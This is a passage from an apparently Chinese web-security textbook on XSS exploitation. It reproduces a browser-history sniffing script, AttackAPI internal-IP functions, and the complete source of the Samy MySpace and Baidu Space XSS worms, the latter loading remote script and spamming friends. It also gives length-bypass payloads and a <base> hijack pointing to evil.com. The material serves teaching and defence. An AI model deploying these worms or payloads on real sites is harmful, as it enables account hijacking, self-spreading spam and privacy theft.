provided with the distribution.* Neither the name of the WhiteHat Security nor the names of its contributorsmay be used to endorse or promote products derived from this softwarewithout specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THEIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSEARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BELIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, ORCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OFSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESSINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER INCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OFTHE POSSIBILITY OF SUCH DAMAGE.*//* A short list of websites to loop through checking to see if the victim has been there.Without noticable performance overhead, testing couple of a couple thousand URL's ispossible within a few seconds. */var websites = [ \"http://ha.ckers.org/blog/\", \"http://login.yahoo.com/\", \"http://mail.google.com/\", \"http://mail.yahoo.com/\", \"http://my.yahoo.com/\", \"http://sla.ckers.org/forum/\", \"http://slashdot.org/\", \"http://www.amazon.com/\", \"http://www.aol.com/\", \"http://www.apple.com/\", \"http://www.bankofamerica.com/\", \"http://www.bankone.com/\", \"http://www.blackhat.com/\", \"http://www.blogger.com/\", \"http://www.bofa.com/\", \"http://www.capitalone.com/\", \"http://www.cgisecurity.com/\", \"http://www.chase.com/\", \"http://www.citibank.com/\", \"http://www.cnn.com/\", \"http://www.comerica.com/\", \"http://www.e-gold.com/\", \"http://www.ebay.com/\", \"http://www.etrade.com/\", \"http://www.flickr.com/\", \"http://www.google.com/\", \"http://www.hsbc.com/\", \"http://www.icq.com/\", \"http://www.live.com/\", \"http://www.microsoft.com/\", \"https://commerce.blackhat.com/\",];/* Loop through each URL */for (var i = 0; i < websites.length; i++) { /* create the new anchor tag with the appropriate URL information */ var link = document.createElement(\"a\"); link.id = \"id\" + i; link.href = websites[i]; link.innerHTML = websites[i]; /* create a custom style tag for the specific link. Set the CSS visited selector to aknown value, in this case red */ document.write('<style>'); document.write('#id' + i + \":visited {color: #FF0000;}\"); document.write('</style>'); /* quickly add and remove the link from the DOM with enough time to save the visible computed color. */ document.body.appendChild(link); var color =document.defaultView.getComputedStyle(link,null).getPropertyValue(\"color\"); document.body.removeChild(link); /* check to see if the link has been visited if the computed color is red */ if (color == \"rgb(255, 0, 0)\") { // visited /* add the link to the visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChild(item); } else { // not visited /* add the link to the not visited list */ var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').appendChild(item); } // end visited color check if} // end URL loop// --></script>但是Firefox在2010年3月底决定修补这个问题，因此，未来这种信息泄露的问题可能在Mozilla浏览器中不会再继续存在了。3.2.2.6 获取用户的真实IP地址通过XSS Payload还有办法获取一些客户端的本地IP地址。很多时候，用户电脑使用了代理服务器，或者在局域网中隐藏在NAT后面。网站看到的客户端IP地址，是内网的出口IP地址，而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢？JavaScript本身并没有提供获取本地IP地址的能力，有没有其他办法？一般来说，XSS攻击需要借助第三方软件来完成。比如，客户端安装了Java环境（JRE），那么XSS就可以通过调用JavaApplet的接口获取客户端的本地IP地址。在XSS攻击框架“Attack API”中，就有一个获取本地IP地址的API：/** * @cat DOM * @name AttackAPI.dom.getInternalIP * @desc get internal IP address * @return {String} IP address */AttackAPI.dom.getInternalIP = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port)); return sock.getLocalAddress().getHostAddress(); } catch (e) {} return '127.0.0.1';};此外，还有两个利用Java获取本地网络信息的API：/** * @cat DOM * @name AttackAPI.dom.getInternalHostname * @desc get internal hostname * @return {String} hostname */AttackAPI.dom.getInternalHostname = function () { try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port)); return sock.getLocalAddress().getHostName(); } catch (e) {} return 'localhost';};/** * @cat DOM * @name AttackAPI.dom.getInternalNetworkInfo * @desc get the internal network information * @return {Object} network information object */AttackAPI.dom.getInternalNetworkInfo = function () { var info = {hostname: 'localhost', IP: '127.0.0.1'}; try { var sock = new java.net.Socket(); sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); sock.connect(new java.net.InetSocketAddress(document.domain,(!document.location.port)?80:document.location.port)); info.IP = sock.getLocalAddress().getHostAddress(); info.hostname = sock.getLocalAddress().getHostName(); } catch (e) {} return info;};这种方法需要攻击者写一个Java Class，嵌入到当前页面中。除了Java之外，一些ActiveX控件可能也会提供接口查询本地IP地址。这些功能比较特殊，需要根据具体情况具体分析，这里不赘述了。Metasploit引擎曾展示过一个强大的测试页面，综合了Java Applet、Flash、iTunes、OfficeWord、QuickTime等第三方软件的功能，抓取用户的本地信息，有兴趣深入研究的读者可以参考。\n3.2.3 XSS 攻击平台XSS Payload如此强大，为了使用方便，有安全研究者将许多功能封装起来，成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害，以及方便渗透测试使用。下面就介绍几个常见的XSS攻击平台。Attack APIAttack API是安全研究者pdp所主导的一个项目，它总结了很多能够直接使用XSS Payload，归纳为API的方式。比如上节提到的“获取客户端本地信息的API”就出自这个项目。BeEFBeEF曾经是最好的XSS演示平台。不同于Attack API，BeEF所演示的是一个完整的XSS攻击过程。BeEF有一个控制后台，攻击者可以在后台控制前端的一切。BeFF的后台界面每个被XSS攻击的用户都将出现在后台，后台控制者可以控制这些浏览器的行为，并可以通过XSS向这些用户发送命令。XSS-ProxyXSS-Proxy是一个轻量级的XSS攻击平台，通过嵌套iframe的方式可以实时地远程控制被XSS攻击的浏览器。XSS-Proxy的实现原理这些XSS攻击平台有助于深入理解XSS的原理和危害。\n3.2.4 终极武器：XSS WormXSS也能形成蠕虫吗？我们知道，以往的蠕虫是利用服务器端软件漏洞进行传播的。比如2003年的冲击波蠕虫，利用的是Windows的RPC远程溢出漏洞。3.2.4.1 Samy Worm在2005年，年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。SamyKamkar的蠕虫在短短几小时内就感染了100万用户——它在每个用户的自我简介后边加了一句话：“but most of all, Samy is my hero.”（Samy是我的偶像）。这是Web安全史上第一个重量级的XSSWorm，具有里程碑意义。今天我们看看当时的Samy蠕虫都做了些什么？首先，MySpace过滤了很多危险的HTML标签，只保留了<a>标签、<img>标签、<div>标签等“安全的标签”。所有的事件比如“onclick”等也被过滤了。但是MySpace却允许用户控制标签的style属性，通过style，还是有办法构造出XSS的。比如：<div style=\"background:url('javascript:alert(1)')\">其次，MySpace同时还过滤了“javascript”、“onreadystatechange”等敏感词，所以Samy用了“拆分法”绕过这些限制。最后，Samy通过AJAX构造的POST请求，完成了在用户的heros列表里添加自己名字的功能；同时复制蠕虫自身进行传播。至此，XSS Worm就完成了。有兴趣的读者可以参考Samy蠕虫的技术细节分析。下面附上Samy Worm的源代码。这是具有里程碑意义的第一个XSS Worm，原本的代码压缩在一行内。为了方便阅读，如下代码已经经过了整理和美化。<div id=mycode style=\"BACKGROUND: url('javascript:eval(document.all.mycode.expr)')\" expr=\"var B=String.fromCharCode(34); var A=String.fromCharCode(39); function g(){ var C; try{ var D=document.body.createTextRange(); C=D.htmlText }catch(e){ } if(C){ return C }else{ return eval('document.body.inne'+'rHTML') } } function getData(AU){ M=getFromURL(AU,'friendID'); L=getFromURL(AU,'Mytoken') } function getQueryParams(){ var E=document.location.search; var F=E.substring(1,E.length).split('&'); var AS=new Array(); for(var O=0;O<F.length;O++){ var I=F[O].split('='); AS[I[0]]=I[1]}return AS } var J; var AS=getQueryParams(); var L=AS['Mytoken']; var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search }else{ if(!M){ getData(g()) } main() } function getClientFID(){ return findIn(g(),'up_launchIC( '+A,A) } function nothing(){} function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){ if(O>0){ N+='&' } var Q=escape(AV[P]); while(Q.indexOf('+')!=-1){ Q=Q.replace('+','%2B') } while(Q.indexOf('&')!=-1){ Q=Q.replace('&','%26') } N+=P+'='+Q; O++ } return N } function httpSend(BH,BI,BJ,BK){ if(!J){ return false } eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST'){ J.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); J.setRequestHeader('Content-Length',BK.length) } J.send(BK); return true } function findIn(BF,BB,BC){ var R=BF.indexOf(BB)+BB.length; var S=BF.substring(R,R+1024); return S.substring(0,S.indexOf(BC)) } function getHiddenParameter(BF,BG){ return findIn(BF,'name='+B+BG+B+' value='+B,B) } function getFromURL(BF,BG){ var T; if(BG=='Mytoken'){ T=B }else{ T='&' } var U=BG+'='; var V=BF.indexOf(U)+U.length; var W=BF.substring(V,V+1024); var X=W.indexOf(T); var Y=W.substring(0,X); return Y } function getXMLObj(){ var Z=false; if(window.XMLHttpRequest){ try{ Z=new XMLHttpRequest() }catch(e){ Z=false } }else if(window.ActiveXObject){ try{ Z=new ActiveXObject('Msxml2.XMLHTTP') }catch(e){ try{ Z=new ActiveXObject('Microsoft.XMLHTTP') }catch(e){ Z=false } } } return Z } var AA=g(); var AB=AA.indexOf('m'+'ycode'); var AC=AA.substring(AB,AB+4096); var AD=AC.indexOf('D'+'IV'); var AE=AC.substring(0,AD); var AF; if(AE){ AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A); AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>' } var AG; function getHome(){ if(J.readyState!=4){ return } var AU=J.responseText; AG=findIn(AU,'P'+'rofileHeroes','</td>'); AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1){ if(AF){ AG+=AF; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Preview'; AS['interest']=AG; J=getXMLObj(); httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS)) } } } function postHero(){ if(J.readyState!=4){ return } var AU=J.responseText; var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['interestLabel']='heroes'; AS['submit']='Submit'; AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash'); httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function main(){ var AN=getClientFID(); var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L; J=getXMLObj(); httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj(); httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' +L,processxForm,'GET') } function processxForm(){ if(xmlhttp2.readyState!=4){ return } var AU=xmlhttp2.responseText; var AQ=getHiddenParameter(AU,'hashcode'); var AR=getFromURL(AU,'Mytoken'); var AS=new Array(); AS['hashcode']=AQ; AS['friendID']='11851658'; AS['submit']='Add to Friends'; httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS)) } function httpSend2(BH,BI,BJ,BK){ if(!xmlhttp2){ return false }eval('xmlhttp2.onr'+'eadystatechange=BI'); xmlhttp2.open(BJ,BH,true); if(BJ=='POST'){ xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xmlhttp2.setRequestHeader('Content-Length',BK.length)} xmlhttp2.send(BK); return true }\"></DIV>XSS Worm是XSS的一种终极利用方式，它的破坏力和影响力是巨大的。但是发起XSS Worm攻击也有一定的条件。一般来说，用户之间发生交互行为的页面，如果存在存储型XSS，则比较容易发起XSS Worm攻击。比如，发送站内信、用户留言等页面，都是XSS Worm的高发区，需要重点关注。而相对的，如果一个页面只能由用户个人查看，比如“用户个人资料设置”页面，因为缺乏用户之间互动的功能，所以即使存在XSS，也不能被用于XSS Worm的传播。3.2.4.2 百度空间蠕虫下面这个XSS Worm的案例来自百度。2007年12月，百度空间的用户忽然互相之间开始转发垃圾短消息，后来百度工程师紧急修复了这一漏洞：百度空间的XSS蠕虫公告这次事件，是由XSS Worm造成的。时任百度系统部高级安全顾问的方小顿，分析了这个蠕虫的技术细节，他在文中写到：上面基本就是代码，总体来说，还是很有意思的。首先就是漏洞，过滤多一个字符都不行，甚至挪一个位置都不行（上面的Playload部分）。这个虫子比较特殊的地方是感染IE用户，对其他用户无影响；另外就是完全可以隐蔽地传播，因为只是在CSS中加代码并不会有什么明显的地方，唯一的缺陷是有点卡。所以，完全可以长时间地存在，感染面不限制于blog，存在CSS的地方都可以，譬如Profile。另外比较强大的一点就是跟真正的虫子一样，不只是被动地等待，选择在好友发消息时引诱别人过来访问自己的blog，利用好奇心可以做到这点。最后还加了个给在线人随机发消息请求加链接，威力可能更大，因为会创造比较大的基数，这样一感染就是一个blog。到Baidu封锁时，这个虫子已经感染了8700多个blog。总体来说还不错，本来想作为元旦的一个贺礼，不过还是提前死掉了。可以看到，在代码和流程里运用了很多系统本身就有的特性，自己挖掘吧。这个百度XSS Worm的源代码如下：window.onerror = killErrors;execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript');cookie='';cookieval=document.cookie;spaceid=spaceurl;myhibaidu=\"http://hi.baidu.com\"+spaceid;xmlhttp=poster();debug=0;online();if(spaceid!='/') {if(debug==1) { goteditcss(); document.cookie='xssshell/owned/you!';}if(cookieval.indexOf('xssshell')==-1) {goteditcss();document.cookie='xssshell/owned/you!';}}function makeevilcss(spaceid,editurl,use){playload=\"a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529')))}\";action=myhibaidu+\"/commit\";spCssUse=use;s=getmydata(editurl);re = /\\<input type=\\\"hidden\\\" id=\\\"ct\\\" name=\\\"ct\\\" value=\\\"(.*?)\\\"/i;ct = s.match(re);ct=(ct[1]);re = /\\<input type=\\\"hidden\\\" id=\\\"cm\\\" name=\\\"cm\\\" value=\\\"(.*?)\\\"/i;cm = s.match(re);cm=(cm[1])/1+1;re = /\\<input type=\\\"hidden\\\" id=\\\"spCssID\\\" name=\\\"spCssID\\\" value=\\\"(.*?)\\\"/i;spCssID = s.match(re);spCssID=(spCssID[1]);spRefUrl=editurl;re = /\\<textarea(.*?)\\>([^\\x00]*?)\\<\\/textarea\\>/i;spCssText = s.match(re);spCssText=spCssText[2];spCssText=URLEncoding(spCssText);if(spCssText.indexOf('evilmask')!==-1) { return 1;}else spCssText=spCssText+\"\\r\\n\\r\\n\"+playload;re = /\\<input name=\\\"spCssName\\\"(.*?)value=\\\"(.*?)\\\">/i;spCssName = s.match(re);spCssName=spCssName[2];re = /\\<input name=\\\"spCssTag\\\"(.*?)value=\\\"(.*?)\\\">/i;spCssTag = s.match(re);spCssTag=spCssTag[2];postdata=\"ct=\"+ct+\"&spCssUse=1\"+\"&spCssColorID=1\"+\"&spCssLayoutID=-1\"+\"&spRefURL=\"+URLEncoding(spRefUrl)+\"&spRefURL=\"+URLEncoding(spRefUrl)+\"&cm=\"+cm+\"&spCssID=\"+spCssID+\"&spCssText=\"+spCssText+\"&spCssName=\"+URLEncoding(spCssName)+\"&spCssTag=\"+URLEncoding(spCssTag);result=postmydata(action,postdata);sendfriendmsg();count();hack();}function goteditcss() {src=\"http://hi.baidu.com\"+spaceid+\"/modify/spcrtempl/0\";s=getmydata(src);re = /\\<link rel=\\\"stylesheet\\\" type=\\\"text\\/css\\\"href=\\\"(.*?)\\/css\\/item\\/(.*?)\\.css\\\">/i;r = s.match(re);nowuse=r[2];makeevilcss(spaceid,\"http://hi.baidu.com\"+spaceid+\"/modify/spcss/\"+nowuse+\".css/edit\",1);return 0;}function poster(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();if(request.overrideMimeType) {request.overrideMimeType('text/xml');}} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}return request;}function postmydata(action,data){xmlhttp.open(\"POST\", action, false);xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');xmlhttp.send(data); return xmlhttp.responseText;}function getmydata(action){xmlhttp.open(\"GET\", action, false);xmlhttp.send(); return xmlhttp.responseText;}function killErrors() { return true;}function count() { a=new Image(); a.src='http://img.users.51.la/1563171.asp'; return 0;}function online() { online=new Image(); online.src='http://img.users.51.la/1563833.asp '; return 0;}function hack() { return 0;}function sendfriendmsg(){ myfurl=myhibaidu+\"/friends\"; s=getmydata(myfurl); evilmsg=\"哈，节日快乐呀!热烈庆祝2008，心情好好，记得要想我呀！\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\"+myhibaidu; var D=function(A,B){A[A.length]=B;}; re = /(.+)D\\(k\\,\\[([^\\]]+?)\\]\\)(.*)/g; friends = s.match(re); eval(friends[0]); for(i in k) { eval('msgimg'+i+'=new Image();'); eval('msgimg'+i+'.src=\"http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=\"+URLEncoding(k[i][2])+\"&co=\"+URLEncoding(evilmsg)+\"&vcodeinput=\";'); }}后来又增加了一个传播函数，不过那个时候百度已经开始屏蔽此蠕虫了： function onlinemsg(){ doit=Math.floor(Math.random() * (600 + 1)); if(doit>500) { evilonlinemsg=\"哈哈,还记得我不,加个友情链接吧?\\r\\n\\r\\n\\r\\n我的地址是\"+myhibaidu; xmlDoc=new ActiveXObject(\"Microsoft.XMLDOM\"); xmlDoc.async=false; xmlDoc.load(\"http://hi.baidu.com/sys/file/moreonline.xml\"); online=xmlDoc.documentElement; users=online.getElementsByTagName(\"id\"); x=Math.floor(Math.random() * (200 + 1)); eval('msgimg'+x+'=new Image();'); eval('msgimg'+x+'.src=\"http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=\"+URLEncoding(users[x].text)+\"&co=\"+URLEncoding(evilonlinemsg)+\"&vcodeinput=\";'); } }攻击者想要通过XSS做坏事是很容易的，而XSS Worm则能够把这种破坏无限扩大，这正是大型网站所特别担心的事情。无论是MySpace蠕虫，还是百度空间的蠕虫，都是“善意”的蠕虫，它们只是在“恶作剧”，而没有真正形成破坏。真正可怕的蠕虫，是那些在无声无息地窃取用户数据、骗取密码的“恶意”蠕虫，这些蠕虫并不会干扰用户的正常使用，非常隐蔽。\n3.2.5 调试JavaScript要想写好XSS Payload，需要有很好的JavaScript功底，调试JavaScript是必不可少的技能。在这里，就简单介绍几个常用的调试JavaScript的工具，以及辅助测试的工具。Firebug这是最常用的脚本调试工具，前端工程师与Web Hacking必备，被喻为“居家旅行的瑞士军刀”。Firebug非常强大，它有好几个面板，可以查看页面的DOM节点。Firebug的界面调试JavaScript：在Firebug中调试JavaScript查看HTML与CSS：在Firebug中查看HTML与CSS毋庸置疑，Firebug是JavaScript调试的第一利器。如果要说缺点，那就是除了Firefox外，对其他浏览器的支持并不好。IE 8 Developer Tools在IE 8中，为开发者内置了一个JavaScriptDebugger，可以动态调试JavaScript。IE 8的开发者工具界面在需要调试IE而又没有其他可用的JavaScript Debugger时，IE 8 Developer Tools是个不错的选择。FiddlerFiddler是一个本地代理服务器，需要将浏览器设置为使用本地代理服务器上网才可使用。Fiddler会监控所有的浏览器请求，并有能力在浏览器请求中插入数据。Fiddler支持脚本编程，一个强大的Fiddler脚本将非常有助于安全测试。Fiddler的界面HttpWatchHttpWatch是一个商业软件，它以插件的形式内嵌在浏览器中。HttpWatch的界面HttpWatch也能够监控所有的浏览器请求，在目标网站是HTTPS时会特别有用。但HttpWatch并不能调试JavaScript，它仅仅是一个专业的针对Web的“Sniffer”。善用这些调试工具，在编写XSS Payload与分析浏览器安全时，会事半功倍。\n3.2.6 XSS构造技巧前文重点描述了XSS攻击的巨大威力，但是在实际环境中，XSS的利用技巧比较复杂。本章将介绍一些常见的XSS攻击技巧，也是网站在设计安全方案时需要注意的地方。3.2.6.1 利用字符编码“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量，其中转义了双引号：var redirectUrl=\"\\\";alert(/XSS/);\";一般来说，这里是没有XSS漏洞的，因为变量处于双引号之内，系统转义了双引号导致变量无法“escape”。但是，百度的返回页面是GBK/GB2312编码的，因此“%c1\\”这两个字符组合在一起后，会成为一个Unicode字符。在Firefox下会认为这是一个字符，所以构造：%c1\";alert(/XSS/);//并提交：提交的数据包在Firefox下得到如下效果：在Firefox下的效果这两个字节：“%c1\\”组成了一个新的Uni-code字符，“%c1”把转义符号“\\”给“吃掉了”，从而绕过了系统的安全检查，成功实施了XSS攻击。3.2.6.2 绕过长度限制很多时候，产生XSS的地方会有变量的长度限制，这个限制可能是服务器端逻辑造成的。假设下面代码存在一个XSS漏洞：<input type=text value=\"$var\" />服务器端如果对输出变量“$var”做了严格的长度限制，那么攻击者可能会这样构造XSS：$var为： \"><script>alert(/xss/)</script>希望达到的输出效果是：<input type=text value=\"\"><script>alert(/xss/)</script>\" />假设长度限制为20个字节，则这段XSS会被切割为：$var 输出为： \"><script> alert(/xss连一个完整的函数都无法写完，XSS攻击可能无法成功。那此时，是不是万事大吉了呢？答案是否定的。攻击者可以利用事件（Event）来缩短所需要的字节数：$var 输出为： \"onclick=alert(1)//加上空格符，刚好够20个字节，实际输出为：<input type=text value=\"\" onclick=alert(1)// \"/>当用户点击了文本框后，alert()将执行：恶意脚本被执行但利用“事件”能够缩短的字节数是有限的。最好的办法是把XSS Payload写到别处，再通过简短的代码加载这段XSS Payload。最常用的一个“藏代码”的地方，就是“loca-tion.hash”。而且根据HTTP协议，location.hash的内容不会在HTTP包中发送，所以服务器端的Web日志中并不会记录下location.hash里的内容，从而也更好地隐藏了黑客真实的意图。$var 输出为： \" onclick=\"eval(location.hash.substr(1))总共是40个字节。输出后的HTML是：<input type=\"text\" value=\"\" onclick=\"eval(location.hash.substr(1)) \" />因为location.hash的第一个字符是 # ，所以必须去除第一个字符才行。此时构造出的XSS URL为：http://www.a.com/test.html#alert(1)用户点击文本框时，location.hash里的代码执行了。location.hash里的脚本被执行location.hash本身没有长度限制，但是浏览器的地址栏是有长度限制的，不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用，还可以再使用加载远程JS的方法，来写更多的代码。在某些环境下，可以利用注释符绕过长度限制。比如我们能控制两个文本框，第二个文本框允许写入更多的字节。此时可以利用HTML的“注释符号”，把两个文本框之间的HTML代码全部注释掉，从而“打通”两个<input>标签。<input id=1 type=\"text\" value=\"\" />xxxxxxxxxxxxx<input id=2 type=\"text\" value=\"\" />在第一个input框中，输入： \"><!--在第二个input框中，输入：--><script>alert(/xss/);</script>最终的效果是：<input id=1 type=\"text\" value=\"\"><!--\" /> xxxxxxxxxxxxxxxxx <input id=2 type=\"text\" value=\"--><script>alert(/xss/);</script>\" />中间的代码全部被<!-- … -->给注释掉了！最终效果如下：恶意脚本被执行而在第一个input框中，只用到了短短的6个字节！3.2.6.3 使用<base>标签<base>标签并不常用，它的作用是定义页面上的所有使用“相对路径”标签的hosting地址。比如，打开一张不存在的图片：<body><img src=\"/intl/en_AL../Images/srpr/logo1w.png\" /></body>测试页面这张图片实际上是Google的一张图片，原地址为：http://www.google.com/intl/en_AL../Images/srpr/logo1w.png在<img>标签前加入一个<base>标签：<body><base href=\"http://www.google.com\" /><img src=\"/intl/en_AL../Images/srpr/logo1w.png\" /></body><base>标签将指定其后的标签默认从“http://www.google.com”取URL：测试页面图片被找到了。需要特别注意的是，在有的技术文档中，提到<base>标签只能用于<head>标签之内，其实这是不对的。<base>标签可以出现在页面的任何地方，并作用于位于该标签之后的所有标签。攻击者如果在页面中插入了<base>标签，就可以通过在远程服务器上伪造图片、链接或脚本，劫持当前页面中的所有使用“相对路径”的标签。比如：<base href=\"http://www.evil.com\" />….<script src=\"x.js\" ></script>….<img src=\"y.jpg\" />…<a href=\"auth.do\" >auth</a>所以在设计XSS安全方案时，一定要过滤掉这个非常危险的标签。3.2.6.4 window.name的妙用window.name对象是一个很神奇的东西。对当前窗口的window.name对象赋值，没有特殊字符的限制。因为window对象是浏览器的窗体，而并非document对象，因此很多时候window对象不受同源策略的限制。攻击者利用这个对象，可以实现跨域、跨页面传递数据。在某些环境下，这种特性将变得非常有用。参考以下案例。假设“www.a.com/test.html”的代码为：<body><script>window.name = \"test\";alert(document.domain+\" \"+window.name);window.location = \"http://www.b.com/test1.html\";</script></body>这段代码将window.name赋值为test，然后显示当前域和window.name的值，最后将页面跳转到“www.b.com/test1.html”。“www.b.com/test1.html”的代码为：alert(document.domain+\" \"+window.name);</script></body>这里显示了当前域和window.name的值。最终效果如下，访问“www.a.com/test.html”：测试页面window.name赋值成功，然后页面自动跳转到“www.b.com/test1.html”：测试页面这个过程实现数据的跨域传递：“test”这个值从www.a.com传递到www.b.com。使用window.name可以缩短XSS Payload的长度，如下所示：<script>window.name = \"alert(document.cookie)\";locaton.href = \"http://www.xssedsite.com/xssed.php\";</script>在同一窗口打开XSS的站点后，只需通过XSS执行以下代码即可：eval(name);只有11个字节，短到了极点。这个技巧为安全研究者luoluo所发现，同时他还整理了很多绕过XSS长度限制的技巧。\n3.2.7 变废为宝：Mission Impossible从XSS漏洞利用的角度来看，存储型XSS对攻击者的用处比反射型XSS要大。因为存储型XSS在用户访问正常URL时会自动触发；而反射型XSS会修改一个正常的URL，一般要求攻击者将XSSURL发送给用户点击，无形中提高了攻击的门槛。而有的XSS漏洞，则被认为只能够攻击自己，属于“鸡肋”漏洞。但随着时间的推移，数个曾经被认为是无法利用的XSS漏洞，都被人找到了利用方法。3.2.7.1 Apache Expect Header XSS“Apache Expect Header XSS”漏洞最早公布于2006年。这个漏洞曾一度被认为是无法利用的，所以厂商不认为这是个漏洞。这个漏洞的影响范围是：Apache Httpd Server版本1.3.34、2.0.57、2.2.1及以下。漏洞利用过程如下。向服务器提交：GET / HTTP/1.1Accept: */*Accept-Language: en-gbContent-Type: application/x-www-form-urlencodedExpect: <script>alert('http://www.whiteacid.org is vulnerable to the Expect Headervulnerability.');</script> Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NETCLR 1.1.4322)Host: www.whiteacid.orgConnection: Keep-Alive服务器返回：HTTP/1.1 417 Expectation FailedDate: Thu, 21 Sep 2006 20:44:52 GMTServer: Apache/1.3.33 (Unix) mod_throttle/3.1.2 DAV/1.0.3 mod_fastcgi/2.4.2mod_gzip/1.3.26.1a PHP/4.4.2 mod_ssl/2.8.22 OpenSSL/0.9.7eKeep-Alive: 